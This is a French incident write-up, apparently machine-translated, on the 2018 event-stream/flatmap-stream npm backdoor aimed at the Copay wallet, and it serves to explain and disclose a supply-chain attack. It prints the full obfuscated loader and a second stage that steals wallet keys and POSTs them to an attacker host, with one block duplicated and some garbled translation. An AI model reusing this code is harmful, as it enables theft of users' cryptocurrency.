Porte dérobée dans l'une des dépendances de la bibliothèque EventStream



Plus de 1,9 million d' exemplaires de la bibliothèque EventStream sont téléchargés chaque semaine à partir du référentiel NPM. Il est utilisé dans de nombreux grands projets pour un travail simple et pratique avec des flux dans Node.JS. Entre autres, cette bibliothèque traite également les flux du populaire portefeuille cryptographique Copay (cependant, plus à ce sujet plus tard).

Le 21 novembre 2018, une chose étrange s'est produite. L'utilisateur de GitHub @FallingSnow a signalé qu'une des dépendances du flux d'événements a caché du code malveillant, qui est en fait une porte dérobée de fonctionnalités inconnues.

Les utilisateurs ont commencé à comprendre d'où venait ce code malveillant. C'est une histoire très intéressante et instructive. Malheureusement, cela peut avoir des conséquences à long terme pour de nombreux projets open source.

L'enquête a donc commencé. Grâce à l'historique des commits sur GitHub, il est immédiatement devenu clair que l'utilisateur malveillant a été créé par un autre utilisateur @ right9ctrl , qui a obtenu les droits du responsable du flux d'événements. Il a un certain nombre d'engagements normaux sur son compte, et l'auteur du projet Dominic Carr ( @dominictarr ) lui a transféré les droits du responsable.

Pourquoi l'auteur a-t-il transféré les droits du responsable à un parfait inconnu? Dominic lui-même dit qu'il est un fardeau de s'engager dans le projet. Voir la justification détaillée de cet incident: l'auteur écrit qu'il a généralement créé le projet pour le plaisir et ne pensait pas que son soutien prendrait autant de temps, et la bibliothèque elle-même était impliquée dans tant de programmes sérieux. Il ne se décharge pas de la responsabilité de l'incident, mais dit que le projet open source n'est pas sa «propriété», c'est un domaine public, donc tout le monde est également responsable de ce qui s'est passé. Après tout, pourquoi aucune des personnes normales n'a-t-elle repris les droits du responsable et audité les commits?

Revenons au commit @ right9ctrl mentionné. L'astuce est qu'il n'a pas injecté le code de porte dérobée directement dans la bibliothèque de event-stream , mais seulement injecté la dépendance sur un autre package de flux flatmap . Déjà dans celui-ci, sous couvert d'un ensemble de données de test (test / data.js), dans l'une des variables un code malveillant du contenu suivant a été transmis:

Porte dérobée
 // var r = require, t = process; // function e(r) { // return Buffer.from(r, "hex").toString() // } function decode(data) { return Buffer.from(data, "hex").toString() } // var n = r(e("2e2f746573742f64617461")), // var n = require(decode("2e2f746573742f64617461")) // var n = require('./test/data') var n = ["","","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"] // o = t[e(n[3])][e(n[4])]; // npm_package_description = process[decode(n[3])][decode(n[4])]; // npm_package_description = process['env']['npm_package_description']; npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key) // if (!o) return; if (!npm_package_description) return; // var u = r(e(n[2]))[e(n[6])](e(n[5]), o), // var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description), var decipher = require('crypto')['createDecipher']('aes256', npm_package_description), // a = u.update(n[0], e(n[8]), e(n[9])); // decoded = decipher.update(n[0], e(n[8]), e(n[9])); decoded = decipher.update(n[0], 'hex', 'utf8'); console.log(n); // IDK why this is here... // a += u.final(e(n[9])); decoded += decipher.final('utf8'); // var f = new module.constructor; var newModule = new module.constructor; /**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/ // f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) // newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1]) // newModule.paths = module.paths // newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename) // newModule.exports(n[1]) 

Après avoir «décodé» la variable n image devient plus claire .

Démarrage initial
 /*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} }; 

Deuxième étape
 /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); \\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \\ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / cj / x76To \\ n2wIDAQAB \ /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); 

Après la désobfuscation, la fonctionnalité de porte dérobée est devenue claire . Il s'est avéré que cela ne fonctionne que s'il y a un portefeuille cryptographique copay-dash dans le système ( copay-dash ). Dans ce cas, il copie les portefeuilles privés des utilisateurs et les envoie aux adresses IP en Malaisie.

Les développeurs de Copay ont mené une enquête et ont découvert que la porte dérobée tombait en fonction des versions du portefeuille de 5.0.2 à 5.1.0, c'est-à-dire de la dernière version. Le 27 novembre 2018, ils ont rapidement publié une version mise à jour 5.2.0.

L'attaquant @ right9ctrl a non seulement ajouté une porte dérobée, mais a également tenté de couvrir ses traces. Trois jours plus tard, il a supprimé le code malveillant du référentiel de flatmap-stream , mis à jour le numéro de version et supprimé l'ancien de NPM. Ainsi, dans la dernière version du package, il n'y a pas de porte dérobée, mais elle a déjà vendu des dizaines de milliers de voitures, ce qui était l'objectif. Cette méthode s'est avérée très efficace, à en juger par le fait que la porte dérobée n'a pas été immédiatement découverte.

On ne sait toujours pas exactement combien d'argent l'attaquant a réussi à gagner, mais cette attaque démontre l'efficacité principale de la méthode d'introduction de portes dérobées dans des projets open source. De toute évidence, ce n'est pas le dernier de ces cas. Ceci est également écrit par Dominic Carr, l'auteur de la bibliothèque EventStream affectée: «Il y aura probablement de nombreux autres modules dans vos arbres de dépendance qui deviendront désormais un fardeau pour leurs auteurs» - et ces modules «onéreux» peuvent être transférés à d'autres mainteneurs, comme cela s'est produit dans ce cas, ou même vendu pour de l'argent. Comme les dépendances sont intégrées dans des centaines et des milliers de programmes, certains des plus petits modules peuvent devenir une source de gros problèmes.

Pourquoi l'auteur du programme en transfère-t-il le contrôle à un parfait inconnu?

«Si ce n'est plus amusant, alors vous n'obtenez littéralement rien de la prise en charge du package populaire», explique Dominic Carr. - Par conséquent, nous sommes maintenant dans une étrange vallée, où vous avez un tas de dépendances qui sont soutenues par ceux qui ont perdu tout intérêt ou même commencé à s'estomper, et qui eux-mêmes ne les utilisent plus . Vous pouvez facilement partager le code, mais personne ne veut partager la responsabilité de la maintenance de ce code. «Tout comme un module ressemble à une propriété numérique, un droit qui peut être transféré, mais vous n'en retirez aucun avantage, par exemple la possibilité de le vendre ou de le louer, mais vous conservez toujours la responsabilité.»

Comment sortir de cette situation pour les utilisateurs de logiciels libres? Soit payer l'auteur, soit participer activement au projet, estime Carr.





Source: https://habr.com/ru/post/fr431204/


All Articles